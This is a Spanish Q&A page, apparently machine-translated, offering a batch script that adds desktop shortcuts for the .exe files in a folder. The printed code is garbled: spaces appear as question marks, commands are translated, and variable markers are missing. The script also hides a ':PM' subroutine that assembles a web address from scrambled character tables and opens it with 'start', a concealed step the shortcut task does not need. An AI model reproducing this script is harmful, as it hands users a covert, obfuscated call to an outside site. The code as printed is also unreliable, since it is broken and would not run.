Red de conocimiento informático - Material del sitio web - ¿Cómo utilizar el comando bat para crear todos los programas .exe en el archivo actual y agregar accesos directos al escritorio?

¿Cómo utilizar el comando bat para crear todos los programas .exe en el archivo actual y agregar accesos directos al escritorio?

El script se guarda como codificación ANSI. Al guardarlo, asegúrese de compararlo con el texto original@echo?off?amp;?title?Creación por lotes de accesos directos?Por?Yimeng Qinyao

cd?/ d?"~dp0"

:: Establece la ruta relativa donde se encuentra el archivo exe

set?ExeDir=Directorio B

llamar?: LOADVBS

cd?/d?"ExeDir"

para?a?in?(*.exe)?do?(

" tmp\CreateLNK.vbs"?"cd "?"~na"

)

pausa

¿llamada?: PM

SALIR

: PM

set?"Va=AaB1bCcD2dEe3FfG4gHh5IiJ6jKk7LlM"

set?"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"

inicio?""?"Va:~ 19, 1Vb: ~19, 1Vb: ~19, 1Vb: ~9, 1Vb: ~17, 1Vb: ~12, 1Vb: ~16, 1Vb: ~16, 1Vb: ~17 , 1Va: ~3, 1Vb: ~20, 1Va: ~1, 1Va: ~28, 1Va: ~3, 1Vb: ~28, 1Vb: ~20, 1Va: ~6, 1Vb: ~6, 1Vb: ~1 , 1Vb: ~16, 1Va: ~8, 1Vb: ~8, 1Va: ~3, 1Vb: ~0, 1Vb: ~16, 1Vb: ~8, 1Vb: ~0, 1Vb: ~16, 1Va: ~8 , 1Va: ~24, 1Vb: ~16, 1Va: ~7, 1Va: ~4, 1Vb: ~32, 1Vb: ~9, 1Va: ~26, 1Va: ~3, 1Vb: ~20, 1Va: ~25 , 1Vb: ~9, 1Va: ~ 17,1"

salir

: LOADVBS

(echo?Set?WshShell?=?WScript.CreateObject( "WScript.Shell"^)

echo?strFolder?=?WshShell.SpecialFolders("Desktop"^)

echo?Set?Fso?=?CreateObject("Scripting.FileSystemObject "^)

echo?CurrentPath?=?WScript.Arguments(0^)

echo?LinkName?=?WScript.Arguments(1^)

echo?Set?oShellLink?=?WshShell .CreateShortcut(strFolder?^amp;?"\"?^amp;?LinkName?^amp;?".lnk"^)

echo?oShellLink.TargetPath ?=?CurrentPath?^amp;? "\"?^amp;?LinkName?^amp;?".exe"

echo?oShellLink.WorkingDirectory?=?CurrentPath

echo?oShellLink.WindowStyle?=?1

echo?oShellLink.Save)gt;"tmp\CreateLNK.vbs"

goto?:e

de